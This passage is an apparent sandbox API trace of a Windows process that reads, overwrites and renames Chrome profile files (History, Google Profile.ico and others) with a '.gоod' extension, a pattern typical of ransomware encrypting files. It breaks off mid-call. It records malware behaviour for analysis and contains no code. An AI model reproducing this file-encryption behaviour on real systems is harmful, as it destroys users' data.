[0165.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), fInfoLevelId=0x0, lpFileInformation=0x33ea710 | out: lpFileInformation=0x33ea710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5179d880, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9)) returned 1 [0166.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0166.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0166.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.040] GetFileType (hFile=0x63c) returned 0x1 [0166.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.040] GetFileType (hFile=0x63c) returned 0x1 [0166.040] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0166.040] ReadFile (in: hFile=0x63c, lpBuffer=0x34eaee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x34eaee0*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0166.043] CloseHandle (hObject=0x63c) returned 1 [0166.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0166.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.043] GetFileType (hFile=0x63c) returned 0x1 [0166.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.043] GetFileType (hFile=0x63c) returned 0x1 [0166.043] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x2b2e9 [0166.044] WriteFile (in: hFile=0x63c, lpBuffer=0x34ec448*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x34ec448*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0166.044] CloseHandle (hObject=0x63c) returned 1 [0166.045] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0166.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.045] GetFileType (hFile=0x63c) returned 0x1 [0166.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.045] GetFileType (hFile=0x63c) returned 0x1 [0166.045] ReadFile (in: hFile=0x63c, lpBuffer=0x34ee768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x34ee768*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0166.075] CloseHandle (hObject=0x63c) returned 1 [0166.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0166.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.075] GetFileType (hFile=0x63c) returned 0x1 [0166.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.075] GetFileType (hFile=0x63c) returned 0x1 [0166.075] WriteFile (in: hFile=0x63c, lpBuffer=0x34ed4a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x34ed4a0*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0166.075] CloseHandle (hObject=0x63c) returned 1 [0166.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0166.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.gоod", lpFilePart=0x0) returned 0x55 [0166.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0166.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5f340e0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b2f9)) returned 1 [0166.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0166.076] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.gоod")) returned 1 [0166.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0166.077] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), fInfoLevelId=0x0, lpFileInformation=0x356bbf8 | out: lpFileInformation=0x356bbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5234a080, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c000)) returned 1 [0166.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0166.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.189] GetFileType (hFile=0x63c) returned 0x1 [0166.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.189] GetFileType (hFile=0x63c) returned 0x1 [0166.189] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0166.189] ReadFile (in: hFile=0x63c, lpBuffer=0x33e9ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x33e9ae8*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0166.190] CloseHandle (hObject=0x63c) returned 1 [0166.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.191] GetFileType (hFile=0x63c) returned 0x1 [0166.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.191] GetFileType (hFile=0x63c) returned 0x1 [0166.191] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1c000 [0166.191] WriteFile (in: hFile=0x63c, lpBuffer=0x33ead70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x33ead70*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0166.191] CloseHandle (hObject=0x63c) returned 1 [0166.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.192] GetFileType (hFile=0x63c) returned 0x1 [0166.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.192] GetFileType (hFile=0x63c) returned 0x1 [0166.192] ReadFile (in: hFile=0x63c, lpBuffer=0x33ed020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x33ed020*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0166.220] CloseHandle (hObject=0x63c) returned 1 [0166.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0166.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.220] GetFileType (hFile=0x63c) returned 0x1 [0166.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0166.220] GetFileType (hFile=0x63c) returned 0x1 [0166.220] WriteFile (in: hFile=0x63c, lpBuffer=0x33ebd88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x33ebd88*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0166.220] CloseHandle (hObject=0x63c) returned 1 [0166.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", lpFilePart=0x0) returned 0x45 [0166.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.gоod", lpFilePart=0x0) returned 0x4a [0166.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0166.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5f498361, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c010)) returned 1 [0166.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0166.221] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history.gоod")) returned 1 [0166.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", lpFilePart=0x0) returned 0x54 [0166.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0166.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), fInfoLevelId=0x0, lpFileInformation=0x34694f0 | out: lpFileInformation=0x34694f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa82ac98, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x6)) returned 1 [0166.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0166.222] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", lpFilePart=0x0) returned 0x54 [0166.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0166.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.222] GetFileType (hFile=0x63c) returned 0x1 [0166.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0166.222] GetFileType (hFile=0x63c) returned 0x1 [0166.222] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x6 [0166.222] ReadFile (in: hFile=0x63c, lpBuffer=0x346a960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x346a960*, lpNumberOfBytesRead=0x1f6ea938*=0x6, lpOverlapped=0x0) returned 1 [0166.570] CloseHandle (hObject=0x63c) returned 1 [0166.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", lpFilePart=0x0) returned 0x54 [0166.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0166.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.599] GetFileType (hFile=0x63c) returned 0x1 [0166.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0166.599] GetFileType (hFile=0x63c) returned 0x1 [0166.599] WriteFile (in: hFile=0x63c, lpBuffer=0x35ca1c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x35ca1c0*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0166.600] CloseHandle (hObject=0x63c) returned 1 [0166.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache", lpFilePart=0x0) returned 0x54 [0166.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.gоod", lpFilePart=0x0) returned 0x59 [0166.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0166.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa82ac98, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5f82bb86, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0166.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0166.600] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache.gоod")) returned 1 [0166.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", lpFilePart=0x0) returned 0x4d [0166.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0166.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), fInfoLevelId=0x0, lpFileInformation=0x35cb460 | out: lpFileInformation=0x35cb460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x523d5309, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0166.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0166.602] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", lpFilePart=0x0) returned 0x4d [0166.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0166.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.602] GetFileType (hFile=0x63c) returned 0x1 [0166.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0166.602] GetFileType (hFile=0x63c) returned 0x1 [0166.602] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0166.602] CloseHandle (hObject=0x63c) returned 1 [0166.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal", lpFilePart=0x0) returned 0x4d [0166.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0166.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0166.827] GetFileType (hFile=0x63c) returned 0x1 [0166.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0166.827] GetFileType (hFile=0x63c) returned 0x1 [0166.827] WriteFile (in: 